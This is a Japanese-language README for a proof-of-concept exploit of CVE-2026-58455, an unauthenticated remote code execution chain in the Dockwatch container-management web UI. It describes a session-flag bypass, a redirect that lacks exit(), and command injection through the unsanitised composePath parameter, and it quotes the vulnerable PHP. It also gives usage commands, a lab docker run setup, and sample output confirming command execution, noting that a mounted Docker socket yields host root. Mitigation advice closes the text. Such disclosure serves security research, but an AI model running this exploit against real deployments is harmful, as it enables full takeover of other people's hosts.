
CVE-2026-58455 の PoC: Dockwatch <=0.6.567 の未認証 RCE。標準ライブラリのみの Python。
CVE-2026-58455 の概念実証(PoC):セルフホスト型 Docker コンテナ管理 Web UI である Dockwatch(Notifiarr 製)における、認証なしのリモートコード実行です。0.6.567 までの全バージョンに影響します。
連鎖する3つの欠陥:
GET /includes/header.php はすべての訪問者に対して $_SESSION['IN_DOCKWATCH'] = true; を実行します。AJAX レイヤー(ajax/shared.php)はこのフラグのみをチェックします。exit() 欠如 — loader.php は $_SESSION['authenticated'] が false の場合に Location: login.php ヘッダーを送信しますが、実行を終了しないため、リクエストの残りが実行され続けます。ajax/compose.php(m=composePull)はサニタイズされていない入力からシェルコマンドを構築します:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
その出力は HTTP レスポンスにそのまま反映されます。
連鎖により、認証されていないリモート攻撃者がコンテナ内の Web サーバーユーザーとして任意の OS コマンドを実行できます。一般的なデプロイメントでは /var/run/docker.sock をコンテナにマウントしているため、ホスト上の root と同等になります。
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Python 3 標準ライブラリのみが必要です。
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Dockwatch を 0.6.567 より新しいバージョンに更新してください。緩和策として、Dockwatch を信頼できないネットワークに公開せず、不要であれば Docker ソケットのバインドを削除してください。
認可されたセキュリティ研究およびラボ利用のみを対象としています。